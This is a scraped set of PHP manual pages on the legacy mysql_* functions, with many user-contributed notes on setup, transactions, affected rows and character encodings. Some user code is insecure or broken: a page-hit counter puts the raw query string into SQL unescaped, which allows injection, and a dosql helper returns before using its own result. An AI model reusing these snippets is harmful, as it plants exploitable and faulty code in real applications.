Create web sites like you normally would, but make sure they have executable permissions, not just script access. Under the "Home Directory" tab, click 'Configuration'. Scroll down the list at the top and see if you can find PHP. If you do, make sure the path to the executable for PHP is correct. If you don't find PHP in the list, click 'Add...', then browse to the correct executable, [yourpathtophp]\php5isapi.dll, and click OK. In the extension field, enter 'PHP'. Verbs should already be set to 'All verbs', leave it like that.

Create a test page with this code:
<? echo(phpinfo()); ?>
call it test.php, and place this file into the web site you just created. Browse to the page, with firefox preferably ;), and make sure that you have a MySql section with some MySql info in there. If not, then your paths are possibly screwed up, or you're still not editing the correct php.ini (again, look at the location that phpinfo() shows you, and just edit it there if you have to, then move it afterwards and re-config).

Hope this helps!
disappear dot nz at gmail dot com 21-May-2005 09:39
Hi,

this is a small OOP script to provide an easy connction to the mysql db and to get associative / logical / both arrays.

<?php

    class mysql_array
    {

        public function __construct ( $s_host , $s_user , $s_pass , $s_db )
        {
            $this -> r_conn = mysql_connect ( $s_host , $s_user , $s_pass ) or die ( mysql_error ( ) ) ;
            mysql_select_db ( $s_db ) ;
        }

        private function array_make ( $s_sql , $i_type )
        {
            $r_rs = mysql_query ( $s_sql , $this -> r_conn ) or die ( mysql_error ( ) ) ;
            while ( $a_col = mysql_fetch_array ( $r_rs , $i_type ) )
            {
                $a_rs [ ] = $a_col ;
            }
            mysql_free_result ( $r_rs ) ;
            return ( $a_rs ) ;
        }

        public function array_logic ( $s_sql )
        {
            $a_rs = $this -> array_make ( $s_sql , MYSQL_NUM ) ;
            return ( $a_rs ) ;
        }

        public function array_assoc ( $s_sql )
        {
            $a_rs = $this -> array_make ( $s_sql , MYSQL_ASSOC ) ;
            return ( $a_rs ) ;
        }

        public function array_both ( $s_sql )
        {
            $a_rs = $this -> array_make ( $s_sql , MYSQL_BOTH ) ;
            return ( $a_rs ) ;
        }

    }

    $o_mysql = new mysql_array ( 'localhost' , 'user' , 'pass' , 'db' ) ;
    $s_sql = "SHOW TABLES" ;
    $a_rs = $o_mysql -> array_assoc ( $s_sql ) ;

    echo '<pre>' ;
    print_r ( $a_rs ) ;

?>
medic at setiherbipolis dot de 15-May-2005 08:42
Client does not support authentication protocol requested by server; consider upgrading MySQL client

means that you're using an old version of MySQL Client ( possibly not mysqli)

Authentication protocol for MySQL has changed with version 4.1.

To get a hint at which mysql-client version you're using try phpinfo();
05-Mar-2005 11:01
If you are installing PHP5 on Windows 2003 server (AKA Win 2k3) and need MySQL to work using the either the php_mysql.dll or php_mysqli.dll or both of them at the same time, and MySQl isn't showing up in phpinfo, then your php.ini is probably not loading.  In the direction in the PHP 5 zip file, they will tell you to add your PHP install directory to your windows path.  This should tell php where to load its php.ini from but it doesn't.  If you want to get this to work, you don't have to copy any DLL's anywhere like everyone suggests.  All you have to do is add the folling regsitry key to windows:

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

simply copy the above 2 lines of code into a text file and save the file as php_ini_path.reg

After you save the file it will look like a registry file.  Simply double click on it.

It will make it so PHP will look for your php.ini in C:\PHP.  I would assume you can edit this if you install php into a different location, but I haven't tried that.

After running the reg file, make sure your php.ini is in your PHP dir and make sure all the appropriate things are set.  This should get you up and running.  Make sure you also follow all the steps on how to make it work in IIS.  This is just an addition to the direction.
Protik Mukherjee 03-Mar-2005 09:34
Fedora mysql problems!!
In Fedora 3 the php mysql module does not come with the default installation. To install it use $>yum install php_mysql
If u dont do this you will get errors with mysql functions like mysql_connect()

Hope this helps!
tumaine no at spam verizon net 23-Dec-2004 08:21
I had a hard time with upgrading to php version 5.2.0 in Windows XP Pro since mySQL queries all of a sudden stopped working and led to blank pages on my site.  I spent a good half day searching google trying to figure out this problem, and didn't quite know how compiling PHP would help me.  It is not necessary.  Set up PHP manually with the ZIP folder download.

This is a good link to read and wish I found it earlier:

http://www.zend.com/manual/install.windows.extensions.php

If you are getting an error popup about not being able to load some mysql.dll when starting apache, you need to change this in your php.ini file:

extension_dir = "./" to something like "c:\php\ext"

Also what I was doing wrong was that I forgot to uncomment the following line in my php.ini file:

extension=php_mysql.dll

Restart apache, and everything should work.

Thought that I could save someone time and frustration when upgrading, since versions 5+ do not include mySQL support by default as earlier versions apparently do.
jon at mysql dot com 11-Dec-2004 02:32
Re Pat's note: You can add the --old-passwords option in the [mysqld] section of your MySQL my.cnf or my.ini configuration file. This option will force the MySQL server  to use the old-style password hashing for all connections. This is not really recommended, as it's less secure, but will allow you to use existing accounts without resetting the passwords.

Of course, as already mentioned, you can use the MySQL OLD_PASSWORD() function instead to handle this issue on an account-by-account basis.

The optimal solution when migrating to MySQL 4.1+ from a previous version is to upgrade to PHP 5 (if you're not using it already) and rewrite any code accessing MySQL using the mysqli extension, which is more secure and provides a much better API.

For more information, see the MySQL Manual: http://dev.mysql.com/doc/mysql/en/Application_password_use.html
lkujala at uniserve dot com 18-Nov-2004 01:43
PROBLEM:
Error Message: the specified module could not be found.
When trying to load a php_mysql.dll / php_mysqli.dll / php_mssql.dll extension on a Windows platform.

CAUSE:
The standard windows installer package is rather incomplete; it does not include any of the DLL's needed for the optional extensions. In order to use any extension you need to install the FULL zip distribution (unless you like fooling around with dll hell), not just the php_*.dll extensions. You might as well include ALL of the DLL's since the dependencies as documented are wrong (i.e. you need more than libmysql.dll for the php_mysql.dll to load).

I did find the standard windows installer useful for the inital setup though.
nleippe at integr8ted dot com 12-Oct-2004 03:22
trace_mode breaks SQL_CALC_FOUND_ROWS.
This is because it emits an EXPLAIN <query> before sending the <query> by itself, thus the subsequent SELECT FOUND_ROWS() is no longer the next consecutive query, and the result is zero.
This was true for me for at least MySQL 4.0.21 and 4.1.5gamma.
(PHP 4.3.9)
Melvin Nava: e-4(at)venezolano.web.ve 13-Sep-2004 12:02
To count page hits, just put next code in a text file and include it in every one of your pages. It will log even different querystrings as different pages. (a MySQL database and table is needed first)

This can be a pretty good example of what you can do with PHP and MySQL. I made this script to log and show all hits in: http://www.venezolano.web.ve/

<?php
/************************
This needs a MySQL table you can create with this:

CREATE TABLE `stats_pagecounter` (
  `id` int(25) NOT NULL auto_increment,
  `page_name` varchar(255) NOT NULL default '',
  `page_hits` int(25) NOT NULL default '0',
  PRIMARY KEY  (`id`)
) TYPE=MyISAM;

**************************
COUNTING STARTS
*************************/
function page_count($page) {
    $c_link        = mysql_connect('localhost', 'username', 'password')
        or die('counter CONNECT error: '.mysql_errno().', '.mysql_error());
    mysql_select_db('database_name');
    $c_query    = "SELECT * FROM stats_pagecounter
        WHERE (page_name = '$page')";
    $c_result    = mysql_query($c_query, $c_link)
        or die('counter SELECT error: '.mysql_errno().', '.mysql_error());
    if (mysql_num_rows($c_result)) {
        $row=mysql_fetch_array($c_result,MYSQL_ASSOC);
        $pcounter = $row['page_hits']+1;
        $c_update = "UPDATE stats_pagecounter
            SET page_hits = '$pcounter' WHERE page_name = '$page'";
        $c_hit = mysql_query($c_update, $c_link)
            or die('counter UPDATE error: '.mysql_errno().', '.mysql_error());
    } else {
        $c_insert = "INSERT INTO stats_pagecounter
            VALUES ( '0', '$page', '1')";
        $c_page = mysql_query($c_insert, $c_link)
            or die('counter INSERT error: '.mysql_errno().', '.mysql_error());
        $pcounter = 1;
    }
    mysql_free_result($c_result);
    mysql_close($c_link);
    return $pcounter;
}
$phpself_url = $_SERVER['SERVER_NAME'].
    $_SERVER['PHP_SELF'].'?'.
    $_SERVER['QUERY_STRING'];
$page_hits = page_count($phpself_url);
/************************
COUNTING ENDS
*************************/

/************************
Put next line in a page to show his page hits
(If you want to)
************************/
echo $page_hits;
?>
aidan at php dot net 15-Aug-2004 05:59
If you want to replicate the output of `mysql --html`, printing your results in a HTML table, see this function:

http://aidanlister.com/repos/v/function.mysql_draw_table.php
irn-bru at gmx dot de 27-May-2004 05:27
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).

Brian
Pat 22-Jan-2004 03:02
[Editor Note:
The password hashing was updated in MySQL 4.1, you must use the MySQLi extension with MySQL 4.1+ (or use the following method to allow
pre 4.1 clients to connect).]

MySQL 5.0 has a new password system, and PHP cannot connect to it because it cannot send a correct password.  You must use the MySQL command OLD_PASSWORD() when adding a user to the database, or PHP cannot connect as of the library that comes with PHP 5.0Beta3
gyohng at netscape dot net 20-Jun-2003 10:16
The following page contains a complete easy to read tutorial of MySQL programming with PHP.

http://www.yohng.com/phpm/
soren at byu dot edu 14-Mar-2003 01:23
Let's say that you want to generate a MySQL password hash from a plain text password.  Normally, you would just submit the MySQL query "SELECT PASSWORD('password')", but if for some reason you can't access to MySQL database directly, then you can use the following function (translated right out of the MySQL source code):

<?php
function mysql_password($passStr) {
        $nr=0x50305735;
        $nr2=0x12345671;
        $add=7;
        $charArr = preg_split("//", $passStr);

        foreach ($charArr as $char) {
                if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
                $charVal = ord($char);
                  $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
                $nr2 += ($nr2 << 8) ^ $nr;
                  $add += $charVal;
        }

        return sprintf("%08x%08x", ($nr & 0x7fffffff), ($nr2 & 0x7fffffff));
}
?>

example:

<? print mysql_password("hello"); ?>

outputs:

70de51425df9d787

Which is the same result you get if you do "SELECT PASSWORD('hello')" directly in MySQL.  Hopefully you'll never be in a situation where you have to use this, but if you need it (like I did), it's here.
past at sbox dot tugraz dot at 21-Feb-2003 02:17
As MySQL docs say, RAND() is not very usefull for generation of randomized result orders.

But this worked for me on Linux, however:
Somewhere before:
mt_srand((double)microtime()*1000000);

"SELECT *, " RAND(".mt_rand(0,86622340).")*10000%100 AS randomvalue ORDER BY randomvalue"

The upper value for mt_rand() has to be Quite Big to see any effect on MySQL's RAND(). The exact number shouldn't be significant. Note the multiplication and modulo; MySQL seems to count steadily upwards when generating random numbers, so we take some numbers from between.
mijnpc at xs4all dot nl 20-Nov-2002 02:33
If you have a Windows machine running a webserver with PHP you don't need to install MySQL server to locally test scripts, if you are granted to establish a Secure Telnet connection (port 22) to the remote webserver.

To do this you need a Secure Telnet client, which supports port-forwarding.
Before you establish a connection, define the port-forward.
Forward local port 3306 to [name or ip of remote server]:3306
Make sure that local ports accept connections from other hosts
Save this session

Connect to remote server with username and password
Minimize the shell and that's it...

You can use the same username (and password) as if you were working on the remote server !
E.g. : $link = mysql_connect("localhost", "root", "") or die("no way jose");

You may get a shell-timeout after xx minutes depending on your remote server, just reconnect or press enter in the shell once in a while...

An example of a superb freeware Secure Telnet client is Putty : Putty : http://www.chiark.greenend.org.uk/~sgtatham/putty/

This 'discovery' really has saved me a lot of time because I don't have to upload the scripts to the remote server time and time again, pressing [save] is enough, heh (-:
jeyoung at priscimon dot com 25-Apr-2002 09:23
[Ed. Note:
This may be due to the fact that subsequent calls to mysql_connect with the same parameters return the same resource id for the connection, so in reality it is using the same connection.  In order to force a new link, you must specify the new_link parameter in mysql_connect.]

MySQL transactions

MySQL supports transactions on tables that are of type InnoDB. I have noticed a behaviour which is puzzling me when using transactions.

If I establish two connections within the same PHP page, start a transaction in the first connection and execute an INSERT query in the second one, and rollback the transaction in the first connection, the INSERT query in the second connection is also rolled-back.

I am assuming that a MySQL transaction is not bound by the connection within which it is set up, but rather by the PHP process that sets it up.

This is a very useful "mis-feature" (bug?) because it allows you to create something like this:

class Transaction {
  var $dbh;

  function Transaction($host, $username, $password) {
    $this->dbh = mysql_connect($host, $username, $password);
  }

  function _Transaction() {
     mysql_disconnect($this->dbh);
  }

  function begin() {
    mysql_query("BEGIN", $this->dbh);
  }

  function rollback() {
     mysql_query("ROLLBACK", $this->dbh);
  }

  function commit() {
    mysql_query("COMMIT", $this->dbh);
  }
}

which you could use to wrap around transactional statements like this:

$tx =& new Transaction("localhost", "username", "password");
$tx->begin();
$dbh = mysql_connect("localhost", "username", "password");
$result = mysql_query("INSERT ...");
if (!$result) {
  $tx->rollback();
} else {
  $tx->commit();
}
mysql_disconnect($dbh);
unset($tx);

The benefit of such a Transaction class is that it is generic and can wrap around any of your MySQL statements.
nospam at nospam dot nos 19-Nov-2001 09:17
ever wanted to know the date a table was last updated? use this:

$info = mysql_fetch_array(mysql_query("show table status from databasename like 'tablename'"));
echo $info["Update_time"];
skelley at diff dot nl 25-Sep-2001 02:11
Hi, here's a nice little trick to select records in random order from a table in a MySQL database prior to version 3.23

SELECT *, (ItemID/ItemID)*RAND() AS MyRandom FROM Items ORDER BY MyRandom

[Editors note: And just "SELECT * FROM foo ORDER BY RAND()" after 3.23]
mbabcock-php at fibrespeed dot net 28-Jul-2001 07:41
Since there aren't functions to start and end/rollback transactions, you'll have to use mysql_query("BEGIN"), mysql_query("COMMIT") and mysql_query("ROLLBACK").  These will only work properly on tables that support transactions.  You may also wish to roll your own mysql_begin (etc) functions that run the above queries for you.
philip at cornado dot com 23-Jul-2001 12:24
If you're new to this, you really should learn basic SQL before moving on.  PHP != SQL. Here's are a few good basic SQL tutorials:

  * http://www.sqlcourse.com/
  * http://www.w3schools.com/sql/
  * http://www.oreillynet.com/pub/ct/19
mw-php at ender dot com 21-Jun-2001 09:11
The mysql_fetch_[row|object|array] functions return data as type string. Owing to the very flexible nature of php variables, this is normally not relevent, but if you happen to retrieve two integers from a database, then try to compare with bitwise operators, you'll run into trouble, because (19 & 2) == 2, but ("19" & "2") == 0. To remedy this, if you use variables from a database with bitwise operators, use the settype() function to explicitly cast your variables as integers before comparing.
MySQL extension overview example
mysql_affected_rows
Mysql


Get number of affected rows in previous MySQL operation

MySQL Functions
mysql_client_encoding
MySQL Functions
PHP Manual

mysql_affected_rows

(PHP 4, PHP 5)

mysql_affected_rows — Get number of affected rows in previous MySQL operation

Description

int mysql_affected_rows ([ resource $link_identifier ] )

Get the number of affected rows by the last INSERT, UPDATE, REPLACE or DELETE query associated with link_identifier.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the number of affected rows on success, and -1 if the last query failed.

If the last query was a DELETE query with no WHERE clause, all of the records will have been deleted from the table but this function will return zero with MySQL versions prior to 4.1.2.

When using UPDATE, MySQL will not update columns where the new value is the same as the old value. This creates the possibility that mysql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query.

The REPLACE statement first deletes the record with the same primary key and then inserts the new record. This function returns the number of deleted records plus the number of inserted records.

Examples

Example #1 mysql_affected_rows() example

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* this should return the correct numbers of deleted records */
mysql_query('DELETE FROM mytable WHERE id < 10');
printf("Records deleted: %d\n", mysql_affected_rows());

/* with a where clause that is never true, it should return 0 */
mysql_query('DELETE FROM mytable WHERE 0');
printf("Records deleted: %d\n", mysql_affected_rows());
?>

The above example will output something similar to:

Records deleted: 10
Records deleted: 0

Example #2 mysql_affected_rows() example using transactions

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* Update records */
mysql_query("UPDATE mytable SET used=1 WHERE id < 10");
printf ("Updated records: %d\n", mysql_affected_rows());
mysql_query("COMMIT");
?>

The above example will output something similar to:

Updated Records: 10

Notes

Note: Transactions

If you are using transactions, you need to call mysql_affected_rows() after your INSERT, UPDATE, or DELETE query, not after the COMMIT.

Note: SELECT Statements

To retrieve the number of rows returned by a SELECT, it is possible to use mysql_num_rows().

Note: Cascaded Foreign Keys

mysql_affected_rows() does not count rows affected implicitly through the use of ON DELETE CASCADE and/or ON UPDATE CASCADE in foreign key constraints.

See Also

  • mysql_num_rows() - Get number of rows in result
  • mysql_info() - Get information about the most recent query

User Contributed Notes

Ome Ko 28-Jun-2011 01:10
There are no rows affected by an update with identical data.
So here is one very ugly solution for these cases:
<?
function mysql_matched_rows() {
   $_kaBoom=explode(' ',mysql_info());
   return $_kaBoom[2];
}
?>
info at fedushin dot ru 12-Feb-2010 06:20
mysql_affected_rows() DOES NOT count rows affected implicitly through 'ON DELETE CASCADE' and/or 'ON UPDATE CASCADE' foreign keys.
For example:

CREATE TABLE `types` (
  `type` varchar(10) NOT NULL,
  PRIMARY KEY (`type`)
) ENGINE=InnoDB;

CREATE TABLE `symbols` (
  `symbol` char(1) NOT NULL,
  `type` varchar(10) NOT NULL,
  PRIMARY KEY (`symbol`),
  KEY `FK_symbol_type` (`type`)
) ENGINE=InnoDB;

ALTER TABLE `symbols`
  ADD CONSTRAINT `FK_symbol_type` FOREIGN KEY (`type`) REFERENCES `types` (`type`) ON DELETE CASCADE ON UPDATE CASCADE;

INSERT INTO `types` VALUES ('Number'), ('Letter');
INSERT INTO `symbols` VALUES ('1', 'Number'), ('2', 'Number'), ('A', 'Letter'), ('B', 'Letter');

<?php
mysql_query('UPDATE types SET type = "Digit" WHERE type = "Number"');
echo mysql_affected_rows() . '<br>';

mysql_query('DELETE FROM types WHERE type = "Letter"');
echo mysql_affected_rows() . '<br>';
?>

Each query actually affects 3 rows (= 1 type + 2 symbols), but output is:
1
1
PaulD 08-Nov-2009 08:35
Just a note: [you should] check for a mysql_affected_rows() return value of -1. If a series of queries were run as a transaction and one query failed, the logic in the foreach loop of the transaction() method in class MySQLDB will not issue a ROLLBACK. It may also be slightly more efficient to stop processing queries on the first failure.
sean at adtools dot co dot uk 09-Sep-2008 01:48
Here's a little function I've been using for a while now, pass it two parameters (action command (1 or 0 see notes)) and a sql statement.

It returns a simple line which shows the length of time taken to action the query, the status of the query (0= query not actioned, you can set this value for testing, 1=success qry executed successfully, -1= failed, there was a problem with the sql statement) the number of lines affected by that query and the sql statement itself.

I've found this invaluable when trying to tie down large amounts of updates to a table, using this you can easily see where a query was successfully executed and the number of rows are affected, or where there are problems and a statement has failed for example.

<?php
function dosql($action,$sql){
  # assuming you have setup a link to your database entitled $link
  # action = 1 run this query
  # action = 0 don't run, just return sql statement

  $start = getmtime();

  if($action==1){
    $result = mysql_query($sql);
    $affectedrows = "[".mysql_affected_rows($link)."]";
  }
  return "[".number_format((getmtime()-$start),3)."][$action]: $sql\n";
  mysql_free_result($result);
}
?>

Example output:
[0.072][1][80]: UPDATE MYTABLE SET FIELD = 1;
[0.106][1][758]: UPDATE ANOTHERTABLE SET FIELD = 2;
[0.006][-1][0]: UPDATER ANOTHERTABLE SET FIELD = 2;

The output shows:

[Timetaken][result]][lines affected]

The result will be either -1, 0 or 1, -1 means there's a problem with the sql statement, 1 means it executed correctly, 0 means it wasn't executed.
EToS 09-Aug-2007 01:57
i found a pretty nice way, this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

<?php
class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
         $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
?>
HMax 02-Jul-2007 03:21
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count.
dobrys at abv dot bg 28-May-2007 02:35
I see that when try to use mysql_affected_rows() with "mysql_pconnect(...)" without link indetifier as param in "mysql_affected_rows()" the result is allways -1.
When use link identifier "mysql_affected_rows($this_sql_connection)" - everything is Fine. This is is on PHP Version 5.2.0
Hope that this was helpfull for somebody
Typer85 at gmail dot com 31-Dec-2006 08:35
Just to clarify about the possible return values in this Manual those not familiar with PHP and MySQL.

"-1 indicates that the query returned an error."

-1 will be returned if the query itself can not be issued to the server, possibly because of syntax error AND if the last query was not either an Insert or Update statement.
mlugassy at 2find dot co dot il 07-Oct-2005 06:22
To solve the affectedRows() issue on MySQL using PEAR::DB, simply add a 'client_flags' key with a value of 2 to your $dsn options:

<?php
$dsn = array(
    'phptype'  => 'mysql',
    'client_flags'  => 2,
    'username' => 'someuser',
    'password' => 'apasswd',
    'hostspec' => 'localhost',
    'database' => 'thedb',
);
?>
temp02 at flexis dot com dot br 29-Jun-2005 05:39
SCENARIO
1. You're using MySQL 4.1x with foreign keys.
2. You have table t2 linked to table t1 by a CASCADE ON DELETE foreign key.
3. t2 has a UNIQUE key so that duplicate records are unacceptable.
3. You have a REPLACE query on t1 followed by an INSERT query on t2 and expect the second query to fail if there's an attempted insert of a duplicate record.

PROBLEM
You notice that the second query is not failing as you had expected even though the record being inserted is an exact duplicate of a record previously inserted.

CAUSE
When the first query (the REPLACE query) deletes a record from t1 in the first stage of the REPLACE operation, it cascades the delete to the record that would be duplicated in t2. The second query then does not fail because the "duplicate" record is no longer a duplicate, as the original one has just been deleted.
steffen at showsource dot dk 28-Sep-2004 03:20
Using OPTIMIZE TABLE will also return true.
So, if you want to check the numbers of deleted records, use mysql_affected_rows() before OPTIMIZE TABLE
deponti A_T tiscalinet D0T it 07-Nov-2003 04:52
It works also for REPLACE query,returning:
0 if the record it's already updated (0 record modified),
1 if the record it's new (1 record inserted),
2 if the record it's updated (2 operations: 1 deletion+ 1 insertion)
ben-xo at NOSPAMdubplatesNOSPAM dot org 21-Apr-2002 07:30
mysql_affected_rows() reports on the number of rows affected by an in-place operation on the database, but mysql_num_rows() returns the number of rows in a MySQL record set (which is held by PHP after MySQL has generated it). This means that if you can do

<?php
$a = mysql_query("SELECT ...");
$b = mysql_query("SELECT ...");
if (mysql_unm_rows($a) > mysql_num_rows($b)) print "a is larger";
else print "b is larger";
?>

... but this does not make sense for the operations supported by mysql_affected_rows(), which reports on the status of the database connection as a whole.

Particularly note this:

<?php
$query = "UPDATE ...";
mysql_query($query);
print mysql_affected_rows(); // more than 0
mysql_query($query); // same query twice
print mysql_affected_rows(); // 0.
?>

.. this is because the 2nd time you execute the identical query, all the rows are already updated so no rows are affected the 2nd time.

I hope this clears up why mysql_num_rows() and mysql_affected_rows() are fundamentally different
dfylstra at frontsys dot com 13-Aug-2001 12:06
mysql_affected_rows() also reports the number of rows changed by the LOAD DATA command.  If you use the IGNORE option in LOAD DATA and you know the number of rows in the input file, you can use mysql_affected_rows() to determine the number of rows that were ignored.
MySQL Functions
mysql_client_encoding
MySQL Functions


Returns the name of the character set

mysql_affected_rows
mysql_close
MySQL Functions
PHP Manual

mysql_client_encoding

(PHP 4 >= 4.3.0, PHP 5)

mysql_client_encoding — Returns the name of the character set

Description

string mysql_client_encoding ([ resource $link_identifier ] )

Retrieves the character_set variable from MySQL.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns the default character set name for the current connection.

Examples

Example #1 mysql_client_encoding() example

<?php
$link    = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$charset = mysql_client_encoding($link);

echo "The current character set is: $charset\n";
?>

The above example will output something similar to:

The current character set is: latin1

See Also

  • mysql_set_charset() - Sets the client character set
  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement

User Contributed Notes

devos at montp dot inserm dot fr 23-Aug-2007 03:30
I use mysql 3.23 and none of the above worked for me. Looking at http://dev.mysql.com/tech-resources/articles/4.1/unicode.html as advised by romain at dardour dot com, I tried to include the following header in my php scripts, and all the funy characters disapeared. Hope it will help.

<?php header("Content-type: text/html; charset=latin1");?>

(my mysql character was latin1)
php at quarkus dot de 25-Jul-2007 06:23
Please note that even if you set the charset by issuing the two mentioned SQL statements (set names, set character set) mysql_client_encoding still deliveres the old result.

Default for me is latin1. After switching to UTF8 mysql_client_encoding still returns latin1. The charset switched to UTF8 successfully, though.
msieniek at interia dot pl 03-Jul-2007 09:31
I had the same problem as bartullus, I'm from Poland too. I had my base encoded in UTF-8 and my website in ISO-8859-2 aka Latin-2. Long time those fuckin' question marks appeared...

I used this function mysql_client_encoding() but it shows "latin1" which appeared to be false. My solution was to include those two lines after connection to database in my PHP script:

<?
    mysql_query("SET CHARACTER SET latin2");
    mysql_query("SET NAMES latin2");
?>

So, probably this function lies;)
GZ 18-Mar-2007 06:14
This one also may be necessary for happy work with utf-8, if you have no other encodings.
In server section add:

init-connect='SET NAMES utf8'

(from MySQL manual)
roy dot the dot geek+php at gmail dot com 23-Jan-2007 05:37
f you think "set names utf8" for each connection is too trouble, you can modify my.cnf of MySQL to solve the problem forever. In my.cnf, add the line "default-character-set=utf8" in both [mysqld] and [client] sections:

[client]
default-character-set=utf8

[mysqld]
default-character-set=utf8

The MySQL will use utf8 after you restart it.
bartullus at wp dot pl 08-Dec-2006 06:35
For some reason given entry in php.ini:
default_charset = "ISO-8859-2"
nor
default_charset = "latin2"
doesn't work.

Every time you run:

$charset= mysql_client_encoding($dbh);
echo $charset;

from PHP connecting to MySQL you will get 'latin1'.

Even if all HTML/PHP pages are stored as UTF8 with header:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
and MySQL server is everywhere UTF8:
character_set_client     | utf8
character_set_connection | utf8
character_set_database   | utf8
character_set_filesystem | binary
character_set_results    | utf8
character_set_server     | utf8
character_set_system     | utf8
adding "SET NAMES latin2" and "SET CHARACTER SET latin2" into your PHP to MySQL connection you will always get question marks after doing select.
I also tried all the tips from this page and did not succeed as others stated 'it worked for me' - blah...spent 6 hours on that.

THE ONLY solution that "worked for me" and for others using latin2-iso-8859-2 (i'm from Poland) is to put single line into your SQL script with many inserts:
set name LATIN1;

After that, you can run a SQL script from QUERY BROWSER with the latin2 characters in inserts.
After only that, when you query those fields from PHP page via select you will get NO question marks and garbage.

If you use 'mysql' command line tool instead of QUERY BROWSER to run insert script you must remove "set names latin1" from the beginning of the script because of the error while processing that line. Instead of that run "set names latin1" separatelly and then run the insert script.
'mysql' works fine with "set names latin2" but only with singleline, manual inserts.

'mysql' command client works fine after switching to "set names latin2" but MySQL Query Browser do not. Query Browser v.1.2.6 beta is not great for some other reasons not worth mentioning here.

My configuration is:
Windows 2000
Apache2.2
MySQL 5.0.27
MySQL client shows 5.1.11
PHP5.2.0
and I needed to run insert script to fullfil dictionaries with initial data.
Pedro Pereira 09-Sep-2006 07:30
All I had to do to save utf8 data with php mysql_query() was to go to the php.ini and put default_charset = "utf-8". Without this I had the same problems some of you have. Plus, all my mysql charsets vars are in 'utf8'. (Changed them with Mysql Admin Tool)

Didnt use any mysql SET **** command at all.

Mysql 4.1.20
PHP 4.4.4
Win XP

Hope this help some of you.
alamakota at mises dot pl 26-Jul-2006 07:13
There's no 'character_set' variable available in MySQL. You can check it yourself in MySQL online documentation or by running MySQL query "SHOW VARIABLES LIKE 'character_set%';".
This must be an error in PHP manual, unless I'm missing something.
21-Jul-2006 05:46
A very easy way to always get results in UTF-8 is to make a common function to connect to DB and in that function set character set to utf-8.

function OpenConn() {
  global $link;
  $link = mysql_connect ("localhost", "username", "password")
      or die(sendError('Could not connect to DB'));
  mysql_select_db ("dbName");
  //
  // Set character set to UTF-8
  //
  mysql_query("SET CHARACTER SET 'utf8'", $link);
}
romain at dardour dot com 15-May-2006 08:56
I couldn't get any luck with all the stuff mentioned below, and despite having an unicode DB, and setting all my field to utf8_general_ci...
After looking around, I found that this page: http://dev.mysql.com/tech-resources/articles/4.1/unicode.html was adding the fields with an extra info before each value:

<?
mysql_query("INSERT INTO table SET field = _utf8'value'");
?>
Mind the "_utf8" before the field value, and outside of the quotes.

This works for me wether in an Insert or an Update statement.

No need here for a <? mysql_query("SET NAMES utf8"); ?> before each query, or to change anything in the config files (that was important since I don't have access to these).
zayfod at yahoo dot com 21-Apr-2006 04:57
The right lines to put in /etc/my.cnf (or other MySQL options file) are:

[client]
init-command="SET NAMES utf8"

Unfortuantely the PHP mysql_connect() function does not use MySQL options files so this is not a sollution for changing the default connection character set for mysqlclient library v4.1+.

The only working sollution remains:

mysql_query("SET NAMES utf8", $conn);

(of course /ext/mysql/php_mysql.c can always be patched ;] )
Wio at psitrax dot de 16-Mar-2006 09:24
If you set the encoding in my.cnf like

[mysqld]
init_connect='SET NAMES utf8'

note that the content of init_connect  is not executed for users that have the SUPER privilege - ie root!
vrbcik 27-Nov-2005 09:26
I have had problems with encoding after export of tables (from hosting - via PhpMyAdmin) and import them to other machine (my notebook - via PhpMyAdmin too). In PhpMyAdmin the encoding of all data was shown correctly, not that good with the web pages (data pulled via php).
The first point is indication, that the data was imported correctly, but php script has got other character set than MySql is sending.

The script's character set is set in header: <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">. MySql setting was latin1.

